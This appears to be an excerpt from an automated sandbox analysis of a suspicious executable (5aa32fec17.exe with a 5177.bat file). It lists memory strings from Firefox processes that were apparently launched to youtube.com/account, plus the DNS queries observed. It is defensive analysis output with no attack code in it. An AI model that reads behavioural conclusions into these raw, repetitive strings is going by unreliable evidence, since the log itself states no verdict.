Source: firefox.exe, 00000021.00000003.3329338474.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3231852517.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3324674203.00000169D16D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3330455792.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3233159876.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3373672563.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3141555486.00000169D9B45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3373672563.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3141555486.00000169D9B45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3330455792.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3380737606.00000169D1B9F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3381137545.00000169CD9B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2821879892.0000029FD2C6E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823432869.0000029FD2C81000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2821980090.0000029FD2C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3383948586.00000169CBDB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBDB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3172465493.00000169CBDB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3324674203.00000169D16D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =C:=C:\Windows\System32ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823704652.0000029FD3060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2901568725.000002196FBF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/accounts equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"winsta0\defaultq equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2901568725.000002196FBF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3329338474.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3231852517.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823432869.0000029FD2C81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userY equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2821879892.0000029FD2C6E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2821980090.0000029FD2C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=user` equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823704652.0000029FD3060000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/account~H equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3236274677.00000169D994F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3236274677.00000169D994F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3330455792.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3233159876.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3373672563.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3141555486.00000169D9B45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3332787650.00000169D9952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3398831276.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3166300363.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3373672563.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3141555486.00000169D9B45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3324674203.00000169D16D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3324674203.00000169D16D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3324674203.00000169D16D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3330455792.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3380737606.00000169D1B9F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3381137545.00000169CD9B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3332787650.00000169D9952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3385355519.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3411645544.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comtype equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3346404548.00000169CE43E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: kmoz-nullprincipal:{8819dd4f-b125-44b1-94b8-14d53f0ecef8}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823704652.0000029FD3060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823704652.0000029FD3060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ps://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows^itfW equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevationg equals www.youtube.com (Youtube)
Source: 5aa32fec17.exe, 00000017.00000003.2813243287.0000000002127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: 5aa32fec17.exe, 00000017.00000003.2813378419.0000000002150000.00000004.00000020.00020000.00000000.sdmp, 5aa32fec17.exe, 00000017.00000003.2813243287.0000000002127000.00000004.00000020.00020000.00000000.sdmp, 5177.bat.23.dr	String found in binary or memory: set "URL=https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3346404548.00000169CE43E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sq~moz-nullprincipal:{0ff20b06-08d8-4fb9-b708-544e32be49c5}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3152110944.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341844231.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3412223817.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3172465493.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3331445079.00000169D99EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000003.3329338474.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3231852517.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3329338474.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3231852517.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xO^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3332787650.00000169D9952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3398831276.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3166300363.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3329338474.00000169D9BEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3398831276.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3166300363.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3332787650.00000169D9952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3152110944.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341844231.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

